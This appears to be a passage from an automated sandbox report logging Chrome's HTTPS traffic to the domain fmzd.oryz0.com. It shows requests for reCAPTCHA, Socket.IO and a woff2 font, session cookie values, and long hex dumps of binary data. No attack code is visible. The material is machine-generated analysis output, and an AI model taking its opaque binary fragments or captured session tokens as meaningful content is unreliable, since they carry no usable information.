2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 7b 3e 7d 27 14 ca 17 bd 07 be a8 a9 00 2d 3a 4f d6 e1 0d 70 0b f4 8a e0 9c a5 69 07 3a 1f c1 db c9 f0 f2 79 f0 13 cb e0 fb fc c6 27 ed b7 bd 3d ac 5d 21 b0 b3 ad 2e f0 04 b6 61 ad 5b 68 b9 10 b6 63 0c 3c e1 58 d8 86 27 79 35 f4 ca 6f ac ef 26 d1 a5 c9 90 86 a9 90 f9 69 22 b5 b0 ba d0 e2 57 91 3f 13 16 73 16 f2 6d 3b a2 71 98 0b 1d 50 b6 05 84 34 c3 fa 42 92 0b d0 aa e6 6b 37 48 d4 71 d4 7f 5c fc e1 04 d0 60 32 d2 62 78 80 25 48 ef 23 2d 43 fa 00 e9 23 3c d7 5a b0 1a e9 53 d4 8f 5e 2b 44 95 6a 23 d2 56 cd 69 60 9a 05 8c 2c 48 45 12 da 1b 83 de 2a b5 1c 12 aa 5c 49 a8 43 cf ab 5d 39 3a 6c ee 2c 91 23 94 c2 73 4d 5d 0b 3c b2 0c 7d d2 9d a7 f0 54 bd 78 ab a3 2d 42 73 e5 bc c7 db 28 69 e8 49 1d e1 0e 9b 78 fb 40 7a 88 ee 43 9c 7c 14 3c 48 e2 30 b0 b0 50 3e 85 Data Ascii: {>}'-:Opi:y'=]!.a[hc<X'y5o&i"W?sm;qP4Bk7Hq\`2bx%H#-C#<ZS^+Dj#Vi`,HE*\IC]9:l,#sM]<}Tx-Bs(iIx@zC\|<H0P>
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 4c 82 83 b1 89 86 cc 2c 49 c7 f0 4d 56 64 3e 23 ce b8 34 d4 96 47 4a c0 1c 9f 8f df e5 cd bc 08 e7 46 48 4a 19 62 c7 32 7b 4d 8f 27 ea 39 53 c8 f9 2e c8 fb 5e f8 a8 23 b2 9f 23 cc ab 0d ae 13 e5 b7 02 b1 e4 5e f3 64 25 c6 59 47 79 27 57 f2 6b bc 9d 17 71 0d 4a ef 32 29 64 e6 07 fd c8 0d f3 6c fe 2b ea 6c d0 ad f1 3a ea 09 3a e4 f0 74 68 df f6 d3 90 93 1a b3 57 63 bf f6 a8 68 37 cc 27 a1 a7 e9 68 b5 0a d7 0d 7a 3f a4 94 39 89 9e 85 1d 49 32 eb 54 3a bf 41 ae cc 6c 1f 3c b0 de 37 67 8f 01 8f 00 b7 9a d8 75 4d ae b4 25 0e 6d c9 3b f6 1e 10 a1 d8 5e b4 54 8d f4 85 ec 5f 3c c5 11 ab 67 ec 5a a7 77 cc a0 be 2e da da c8 b5 a6 d6 49 b3 93 c6 2e d5 d8 b6 7c b8 e5 6a 65 1e 2d 26 9e 73 c6 8d ba d7 72 11 33 17 78 ea 78 9b f2 7a bd 63 8f e7 be d6 9e 05 06 7e 56 cb f9 Data Ascii: L,IMVd>#4GJFHJb2{M'9S.^##^d%YGy'WkqJ2)dl+l::thWch7'hz?9I2T:Al<7guM%m;^T_<gZw.I.\|je-&sr3xxzc~V
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 25 6a 63 e3 19 89 16 43 32 a2 ac 89 1e 6d 7b e6 31 7c f1 f7 3a b4 90 97 c3 ed 7d 71 d3 6e 84 68 79 ca f8 dc f1 8a 13 b3 46 8f 64 ca 90 57 04 ab fe 26 a2 a8 50 fc 31 a1 ac 4e 26 47 7d ab d2 e0 91 b2 86 88 7e c1 3e ae 8b 79 fb 60 7b 74 8e 13 fd 1f a1 b3 e5 e6 42 d7 57 d7 da bb 7d 81 6b 5b d1 7d 72 64 14 2e ba aa 47 10 8d d1 a3 4d c7 ea d9 76 a6 e5 08 d2 b5 51 8b 62 2d 64 94 25 38 e2 68 b6 89 9d c2 90 ce 46 91 fc d0 e9 7f 67 e7 e0 e8 ac fc 49 8d 8d 1a e2 cf e2 c4 e7 7f 04 5b 89 fb 43 d1 f2 e2 8e f9 8e da 56 c1 9e 6f 30 cf f6 9d de 6c 27 de 0b c0 7b d6 e9 55 03 53 4b 46 dc 79 a3 06 ef de 88 a8 16 bc 71 e4 0e 89 15 da 90 f5 76 e5 3d e8 ed 4d d4 ea 96 2f 6e 44 fe 1c 6c c5 94 f8 6b ab a2 c9 2d f7 76 46 bc 59 93 3b f7 a7 ef 8b f8 9d f6 c6 98 ed e4 57 23 a6 aa 8e Data Ascii: %jcC2m{1\|:}qnhyFdW&P1N&G}~>y`{tBW}k[}rd.GMvQb-d%8hFgI[CVo0l'{USKFyqv=M/nDlk-vFY;W#
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 4f 74 cd b7 b4 03 23 80 8f 03 a3 a5 9d 78 70 bb 01 8d f1 0f 5c 20 73 e7 f4 80 90 ec 7e 38 f0 a3 56 e0 c7 e8 e3 7d d2 4f 07 7e 26 30 b2 0d b8 df c0 03 2e 8c 72 e1 9b 3a 86 21 ce e9 26 ff 3e ac d3 30 c0 1d f4 8f 92 d2 69 00 75 81 cf f2 23 ea ba 0d 25 6f 13 b8 0c de f1 3c ba 07 d0 03 5e e4 7c ba 40 f4 b7 2b d9 bb f2 f4 57 71 69 64 ff 53 f4 70 99 b5 89 9e 99 f1 fe 4b 90 d6 75 a2 3b 01 57 d2 39 f4 5d fa 07 3a 13 d1 db c5 d0 7f e7 4b e9 db 4c bb 67 9b ef 91 cf d2 91 9c 1c ff 24 a0 b5 74 03 28 ab 50 d3 19 48 fd dd 73 92 b9 b3 ef 75 3a 07 ba da 43 fe 97 ef 7c e8 aa 4f 56 06 94 bc d9 1f cf 73 64 9d f3 76 48 59 7f c1 aa 7f 14 a8 36 41 d7 e4 40 ff 56 a1 ad 12 49 1e 7c e3 bd 13 0b dd 4d fe 39 2e 24 0b f4 68 03 2c 03 29 2e f8 0c e8 9a fc a0 71 2a 24 40 ff 3b e4 b9 b8 Data Ascii: Ot#xp\ s~8V}O~&0.r:!&>0iu#%o<^\|@+WqidSpKu;W9]:KLg$t(PHsu:C\|OVsdvHY6A@VI\|M9.$h,).q*$@;
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: a4 0a 55 ec d4 75 da 3a bd 9d 0f 9c 63 21 39 21 b9 6e ac 3b c1 9d ee 2e 76 33 dc 15 ee 2a 77 83 bb d9 dd e7 1e 74 0b dd d3 5e 4d af 8e e7 7a 3e 2f ca 6b e9 75 f0 62 bc a5 de 0a 2f cb cb f6 d6 45 d6 8a f4 45 46 45 4e 8b 4c f6 39 be 70 5f 15 5f 75 5f 1d 9f eb 6b e6 eb e2 8b f3 3d d4 78 7b d0 09 56 fc 65 d3 59 e7 6c 68 71 b1 e9 f3 68 41 07 6e a4 2f 03 4c d7 60 46 90 ca 72 b2 58 c3 7a b9 a6 2b cf 74 fd a0 33 4e 44 a9 ae 2d 4e 41 a9 ae 18 37 d1 9d e6 2e 74 d3 dd e5 6e 96 9b e3 e6 b9 7b dc 7c f7 47 f7 94 57 c3 8b f0 ea 79 9e e9 6a e1 b5 2f d7 b5 f2 5f 75 55 fb 8b ae 81 a6 8b 60 a8 e9 52 99 2e 4d 84 e2 4d a6 2f 86 58 3a f1 f7 51 07 8a 8e 96 dd 16 0d 2b 1a 54 94 04 e7 22 8a ea f2 9f 23 98 50 be 0e 0e a6 06 63 83 93 03 e7 82 04 ce 04 7e 0d 14 06 32 02 63 02 ab 8f Data Ascii: Uu:c!9!n;.v3*wt^Mz>/kub/EEFENL9p__u_k=x{VeYlhqhAn/L`FrXz+t3ND-NA7.tn{\|GWyj/_uU`R.MM/X:Q+T"#Pc~2c
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 1f ad 44 48 8b 78 bf 68 6e ae 66 24 8e 7d 5f 63 dd ad 18 fe a6 ff 2f f7 e0 48 1c b2 5f b8 86 07 10 29 77 0d 94 bb da 56 ae 12 b2 a3 52 05 42 25 2a c4 14 33 04 30 9f 14 5e 4b 90 15 6a 35 2d 17 f1 e9 d1 c8 8c 10 b7 07 f7 7c d3 af d8 6b dd ed c3 7e 30 12 fb 17 34 1b 0d 60 54 b1 df fa a9 f5 63 20 86 c1 4c 3a c3 70 bf e7 87 a0 95 ae a4 74 86 83 52 38 d4 c4 23 96 f5 2c c3 50 ba 17 53 ce 30 ae 2e 00 50 aa d5 6a 85 52 1b 8f 90 9e d5 b1 7a a4 65 75 f8 2d ac bd b6 ce 7a b1 ff 71 ec 9f 37 82 ee f0 43 77 d6 a3 32 e1 06 3f f4 99 35 07 ca 67 99 f7 a1 fc 9d 50 be 0f 13 ca c4 30 53 2d d9 2e 88 c7 84 7e cc 00 53 f9 46 86 65 09 e9 8c 67 99 12 71 1c e1 0e f2 42 e5 e1 61 be 9a 68 7d 58 4c 78 4c 48 90 26 d4 37 34 31 42 05 cd d2 e8 52 c3 b0 9f af 42 e9 ef ef e7 eb 89 f5 3a 94 Data Ascii: DHxhnf$}_c/H_)wVRB%*30^Kj5-\|k~04`Tc L:ptR8#,PS0.PjRzeu-zq7Cw2?5gP0S-.~SFegqBah}XLxLH&741BRB:
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 2c f4 c0 07 71 92 20 2a ef 78 d7 b5 cd 45 45 5b 6e 74 ff e5 22 3a 74 e6 cc b9 53 7f e5 87 cc 6d c7 17 37 9e 58 9a 61 3d 8f bf da d6 df b7 4b 50 42 bd 3d a3 67 f9 eb c0 1f 2d 93 c4 58 2c 53 c3 42 43 82 7d 78 cc fa 69 c0 20 c0 a5 be 64 0a 9e 9c 65 81 01 88 31 44 07 24 05 26 01 cb b4 48 3b 39 cb 94 5a a5 81 b0 2d c3 6c 30 6b 33 32 c6 f1 0e d9 78 46 3e e7 ce fa d1 f2 57 cb 5e e9 9d 37 9c fe 79 f7 27 e9 a9 c0 3b 67 3c 3c 26 dc 5d f2 a3 e6 57 cd 53 8f 19 a3 3f 6f fc a4 ec ad c9 78 79 1f 9d 93 83 99 54 4b 12 0b 76 02 99 91 c5 a9 bf 11 b4 36 5b cb d8 4d ff be 9a a0 00 4d b0 6f b0 4e 3d cd 57 09 52 85 60 06 06 51 8d 8c 84 e9 16 f4 06 30 58 9e 7d b9 85 f7 df 83 ba 5f 10 1e 67 15 ac 70 e7 22 7a b2 f3 d1 f5 d3 05 c3 d1 fb ce 1f 12 04 f6 ee ee 1f c5 58 d7 e3 55 d6 fd Data Ascii: ,q *xEE[nt":tSm7Xa=KPB=g-X,SBC}xi de1D$&H;9Z-l0k32xF>W^7y';g<<&]WS?oxyTKv6[MMoN=WR`Q0X}_gp"zXU
2024-05-23 08:31:34 UTC	1369	IN	Data Raw: 8b ba a8 c4 9e 12 e6 70 cf 02 bd 11 4c b9 65 66 58 28 56 91 e1 64 93 29 7b 49 42 60 ed 03 9f cb 18 22 48 2e 36 7a 83 03 35 3e 6a 6f 2f 4f 0f 91 68 05 13 81 22 5c c7 a8 b6 1b 5a 7e 9e ec 18 e9 ec db 4d dd c5 79 d6 39 63 8e 50 de 92 69 ba a9 29 09 85 41 a5 86 35 c2 9c ee ea a2 0d 46 69 bc 85 9e 62 63 a7 96 c5 98 32 8d fa e9 a6 3c 42 73 99 50 85 5d e8 fc 01 d6 90 c6 c7 45 c1 51 25 20 cf 23 ac 8d 3a 6f 4f e0 23 cc 22 dc 18 45 30 7d 8c e3 61 54 6b 6f 99 e5 62 75 53 ae 29 61 46 48 99 b1 47 a8 5a 59 5b d6 17 45 d8 15 d2 5b 98 91 13 6d 98 9e 99 4d e6 2c a1 8a ce 59 09 c4 8f 57 20 c4 c6 c5 42 3f e2 52 e2 72 d2 99 8f 8e 3e 6d 19 58 10 76 dd 69 88 0e 0c f0 d3 78 7b b9 2a 99 04 94 60 d7 9d 64 90 39 ce 6a 0a a5 82 fc df 8e 4b 47 9b 7b e3 a6 f8 4f 09 1c 20 73 dd fd cf Data Ascii: pLefX(Vd){IB`"H.6z5>jo/Oh"\Z~My9cPi)A5Fibc2<BsP]EQ% #:oO#"E0}aTkobuS)aFHGZY[E[mM,YW B?Rr>mXvix{*`d9jKG{O s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49784	142.250.185.196	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:33 UTC	625	OUT	GET /recaptcha/api.js HTTP/1.1 Host: www.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fmzd.oryz0.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:33 UTC	528	IN	HTTP/1.1 200 OK Content-Type: text/javascript; charset=utf-8 Expires: Thu, 23 May 2024 08:31:33 GMT Date: Thu, 23 May 2024 08:31:33 GMT Cache-Control: private, max-age=300 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-05-23 08:31:33 UTC	862	IN	Data Raw: 35 38 36 0d 0a 2f 2a 20 50 4c 45 41 53 45 20 44 4f 20 4e 4f 54 20 43 4f 50 59 20 41 4e 44 20 50 41 53 54 45 20 54 48 49 53 20 43 4f 44 45 2e 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 77 3d 77 69 6e 64 6f 77 2c 43 3d 27 5f 5f 5f 67 72 65 63 61 70 74 63 68 61 5f 63 66 67 27 2c 63 66 67 3d 77 5b 43 5d 3d 77 5b 43 5d 7c 7c 7b 7d 2c 4e 3d 27 67 72 65 63 61 70 74 63 68 61 27 3b 76 61 72 20 67 72 3d 77 5b 4e 5d 3d 77 5b 4e 5d 7c 7c 7b 7d 3b 67 72 2e 72 65 61 64 79 3d 67 72 2e 72 65 61 64 79 7c 7c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 28 63 66 67 5b 27 66 6e 73 27 5d 3d 63 66 67 5b 27 66 6e 73 27 5d 7c 7c 5b 5d 29 2e 70 75 73 68 28 66 29 3b 7d 3b 77 5b 27 5f 5f 72 65 63 61 70 74 63 68 61 5f 61 70 69 27 5d 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 Data Ascii: 586/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var gr=w[N]=w[N]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.g
2024-05-23 08:31:33 UTC	559	IN	Data Raw: 72 65 63 61 74 69 6f 6e 4c 61 62 65 6c 2e 67 65 74 56 61 6c 75 65 28 29 2e 74 68 65 6e 28 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 69 66 28 6c 21 3d 3d 27 74 72 65 61 74 6d 65 6e 74 5f 31 2e 31 27 26 26 6c 21 3d 3d 27 74 72 65 61 74 6d 65 6e 74 5f 31 2e 32 27 26 26 6c 21 3d 3d 27 63 6f 6e 74 72 6f 6c 5f 31 2e 31 27 29 7b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 7d 7d 29 3b 7d 65 6c 73 65 7b 64 2e 68 65 61 64 2e 70 72 65 70 65 6e 64 28 6d 29 3b 7d 70 6f 2e 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 72 65 6c 65 61 73 65 73 2f 38 6b 38 35 51 42 49 2d 71 7a 78 6d 65 6e 44 76 33 31 38 41 5a 48 33 30 2f 72 65 63 61 70 74 63 68 61 5f 5f 65 6e 2e 6a 73 27 3b 70 6f 2e 63 72 6f 73 73 Data Ascii: recationLabel.getValue().then(function(l){if(l!=='treatment_1.1'&&l!=='treatment_1.2'&&l!=='control_1.1'){d.head.prepend(m);}});}else{d.head.prepend(m);}po.src='https://www.gstatic.com/recaptcha/releases/8k85QBI-qzxmenDv318AZH30/recaptcha__en.js';po.cross
2024-05-23 08:31:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49783	13.227.219.11	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:33 UTC	533	OUT	GET /4.6.0/socket.io.min.js HTTP/1.1 Host: cdn.socket.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://fmzd.oryz0.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 08:31:33 UTC	702	IN	HTTP/1.1 200 OK Content-Type: application/javascript; charset=utf-8 Content-Length: 45806 Connection: close Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000, immutable Content-Disposition: inline; filename="socket.io.min.js" Date: Tue, 16 Apr 2024 12:40:01 GMT ETag: "80f5b8c6a9eeac15de93e5a112036a06" Server: Vercel Strict-Transport-Security: max-age=63072000 X-Vercel-Cache: HIT X-Vercel-Id: fra1::vz9z2-1713271201165-3be2b8c00140 X-Cache: Hit from cloudfront Via: 1.1 5e95d2e6aebe43cabd9dcdad89ad0a42.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS54-C1 X-Amz-Cf-Id: j0H0JAB5B9Myiwb1BnzhVrgQiXtR7sg3h7t7q6FrYs2B-wvA_3P-ww== Age: 3181892
2024-05-23 08:31:34 UTC	16384	IN	Data Raw: 2f 2a 21 0a 20 2a 20 53 6f 63 6b 65 74 2e 49 4f 20 76 34 2e 36 2e 30 0a 20 2a 20 28 63 29 20 32 30 31 34 2d 32 30 32 33 20 47 75 69 6c 6c 65 72 6d 6f 20 52 61 75 63 68 0a 20 2a 20 52 65 6c 65 61 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 2e 0a 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 28 29 3a 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 3f 64 65 66 69 6e 65 28 65 29 3a 28 74 3d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 67 Data Ascii: /! Socket.IO v4.6.0 * (c) 2014-2023 Guillermo Rauch * Released under the MIT License. */!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(t="undefined"!=typeof g
2024-05-23 08:31:34 UTC	3608	IN	Data Raw: 6c 65 3d 21 31 3b 66 6f 72 28 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 76 61 72 20 72 3d 74 5b 6e 5d 2c 69 3d 6e 3d 3d 3d 74 2e 6c 65 6e 67 74 68 2d 31 3b 45 28 72 2c 65 2e 73 75 70 70 6f 72 74 73 42 69 6e 61 72 79 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 74 72 79 7b 65 2e 77 73 2e 73 65 6e 64 28 74 29 7d 63 61 74 63 68 28 74 29 7b 7d 69 26 26 69 74 28 28 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 77 72 69 74 61 62 6c 65 3d 21 30 2c 65 2e 65 6d 69 74 52 65 73 65 72 76 65 64 28 22 64 72 61 69 6e 22 29 7d 29 2c 65 2e 73 65 74 54 69 6d 65 6f 75 74 46 6e 29 7d 29 29 7d 2c 72 3d 30 3b 72 3c 74 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 6e 28 72 29 7d 7d 2c 7b 6b 65 79 3a 22 64 6f 43 6c 6f 73 65 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 6f Data Ascii: le=!1;for(var n=function(n){var r=t[n],i=n===t.length-1;E(r,e.supportsBinary,(function(t){try{e.ws.send(t)}catch(t){}i&&it((function(){e.writable=!0,e.emitReserved("drain")}),e.setTimeoutFn)}))},r=0;r<t.length;r++)n(r)}},{key:"doClose",value:function(){vo
2024-05-23 08:31:34 UTC	16384	IN	Data Raw: 6e 28 74 29 7b 76 61 72 20 65 3d 69 28 7b 7d 2c 74 68 69 73 2e 6f 70 74 73 2e 71 75 65 72 79 29 3b 65 2e 45 49 4f 3d 34 2c 65 2e 74 72 61 6e 73 70 6f 72 74 3d 74 2c 74 68 69 73 2e 69 64 26 26 28 65 2e 73 69 64 3d 74 68 69 73 2e 69 64 29 3b 76 61 72 20 6e 3d 69 28 7b 7d 2c 74 68 69 73 2e 6f 70 74 73 2e 74 72 61 6e 73 70 6f 72 74 4f 70 74 69 6f 6e 73 5b 74 5d 2c 74 68 69 73 2e 6f 70 74 73 2c 7b 71 75 65 72 79 3a 65 2c 73 6f 63 6b 65 74 3a 74 68 69 73 2c 68 6f 73 74 6e 61 6d 65 3a 74 68 69 73 2e 68 6f 73 74 6e 61 6d 65 2c 73 65 63 75 72 65 3a 74 68 69 73 2e 73 65 63 75 72 65 2c 70 6f 72 74 3a 74 68 69 73 2e 70 6f 72 74 7d 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 63 74 5b 74 5d 28 6e 29 7d 7d 2c 7b 6b 65 79 3a 22 6f 70 65 6e 22 2c 76 61 6c 75 65 3a 66 75 6e 63 Data Ascii: n(t){var e=i({},this.opts.query);e.EIO=4,e.transport=t,this.id&&(e.sid=this.id);var n=i({},this.opts.transportOptions[t],this.opts,{query:e,socket:this,hostname:this.hostname,secure:this.secure,port:this.port});return new ct[t](n)}},{key:"open",value:func
2024-05-23 08:31:34 UTC	9430	IN	Data Raw: 7b 66 6f 72 28 6e 2e 73 28 29 3b 21 28 65 3d 6e 2e 6e 28 29 29 2e 64 6f 6e 65 3b 29 7b 65 2e 76 61 6c 75 65 2e 61 70 70 6c 79 28 74 68 69 73 2c 74 29 7d 7d 63 61 74 63 68 28 74 29 7b 6e 2e 65 28 74 29 7d 66 69 6e 61 6c 6c 79 7b 6e 2e 66 28 29 7d 7d 79 28 73 28 61 2e 70 72 6f 74 6f 74 79 70 65 29 2c 22 65 6d 69 74 22 2c 74 68 69 73 29 2e 61 70 70 6c 79 28 74 68 69 73 2c 74 29 2c 74 68 69 73 2e 5f 70 69 64 26 26 74 2e 6c 65 6e 67 74 68 26 26 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 5b 74 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 28 74 68 69 73 2e 5f 6c 61 73 74 4f 66 66 73 65 74 3d 74 5b 74 2e 6c 65 6e 67 74 68 2d 31 5d 29 7d 7d 2c 7b 6b 65 79 3a 22 61 63 6b 22 2c 76 61 6c 75 65 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c Data Ascii: {for(n.s();!(e=n.n()).done;){e.value.apply(this,t)}}catch(t){n.e(t)}finally{n.f()}}y(s(a.prototype),"emit",this).apply(this,t),this._pid&&t.length&&"string"==typeof t[t.length-1]&&(this._lastOffset=t[t.length-1])}},{key:"ack",value:function(t){var e=this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49786	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:34 UTC	1413	OUT	GET /89jdsKZZPGQNuWNL3spE66GQefg2RTpL1ab74 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://fmzd.oryz0.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: font Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6InBYdkh4YXNzUVZKYkdvckZ3Vko3dUE9PSIsInZhbHVlIjoiZlByOHQ3Y3V3b2VjVUE5ZkorWXFRa2RSTEtOZWFJVnlyMFRaSEgxRmxUVTlxZFYrS21FNWEzZ0dzQWNvWFF6RmdFUWJvRTFlVXRld1B1UXBIbkNlWEJZMnlROUdDcFhJcW1SL0JkdC8wRGxVVVR4YUJDQnQrZ0lIMHFiL2E2NEciLCJtYWMiOiJhNWViNWE0ZGY3MzFlY2IzY2RkZTQ2Nzk3OTdmYWM1NmY3YzA1NGZjN2Q1ZTZmZjVlNjQ1NzcxZTVlOWU1YzJhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImRFTGJKejZlRUdSUmtQeThyY3h4a1E9PSIsInZhbHVlIjoicEt1bGxBQ0hHVGdySGFoRXhlbS9Dekh2bTFoVEVMdkJrKzh3S0ZpK2p4Wlh1TjNvS1E2eVRTUjdUOTBZMjZHdUc4dW5IVnM5cmJjTUJNRTE4NUlHZDNjK1pxbGZSaFlocExIU0hYei9LV08zc1lWN2ZzNGJJMHptNnpwKzFrb2giLCJtYWMiOiJjNWMxNTIzMmIyYWY3MTk5N2ZlMDYxZWQxYTRkY2UyNTMxZWU1NzM4ODJmNWQxYmM3NWIwMDc1YzE3M2ZlNmI2IiwidGFnIjoiIn0%3D
2024-05-23 08:31:35 UTC	630	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:35 GMT Content-Type: font/woff2 Content-Length: 43596 Connection: close Content-Disposition: inline; filename="89jdsKZZPGQNuWNL3spE66GQefg2RTpL1ab74" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xYnOUzZjA6sMWuhSBf9%2BVQ%2BQay1vP0WgKytiNMoanXLUMMDCh4BBIORq5QMroAWktXBEVvjSJcmGUSOBZlrhqzFF9DtrIWocJINRv0QXwSxbzCLlB7sYzwnnUe1BZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0c30ef18c84-EWR
2024-05-23 08:31:35 UTC	739	IN	Data Raw: 77 4f 46 32 00 01 00 00 00 00 aa 4c 00 13 00 00 00 01 cf 50 00 00 a9 d5 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 83 55 1b 82 e4 7a 1c 8b 04 3f 48 56 41 52 8a 3b 3f 4d 56 41 52 46 06 60 3f 53 54 41 54 1c 00 8e 48 2f 4c 11 08 0a 81 c2 40 81 a5 50 0b 87 3e 00 30 82 8e 00 01 36 02 24 03 8e 78 04 20 05 8d 2e 07 97 7b 5b d6 bb 71 05 b3 c3 e4 8f 52 6c ba 0d 01 b0 74 fa f4 7e 76 f7 0b e8 b1 ed 28 e5 b6 c1 e8 b6 d0 54 c3 74 05 3b f6 14 6e 27 b0 dd 76 3d cc fe ff ff 3f 7f 99 88 6c 5d 02 78 49 92 b5 85 6d 1d 22 a8 ea 3f 68 4e 58 04 2c 02 96 b5 38 1a 3b 47 b4 d6 af cb 6d 2c 7d c1 68 d7 aa 3e 28 3d 5b ac 96 88 6d 2f d4 3e 9b b8 a1 ef 38 26 66 c1 e0 26 9d 06 1b b8 9b ad 91 5d a1 75 95 dd e0 26 9c 56 44 8f e5 5d ec 3c 8d 04 79 52 93 65 Data Ascii: wOF2LPUz?HVAR;?MVARF`?STATH/L@P>06$x .{[qRlt~v(Tt;n'v=?l]xIm"?hNX,8;Gm,}h>(=[m/>8&f&]u&VD]<yRe
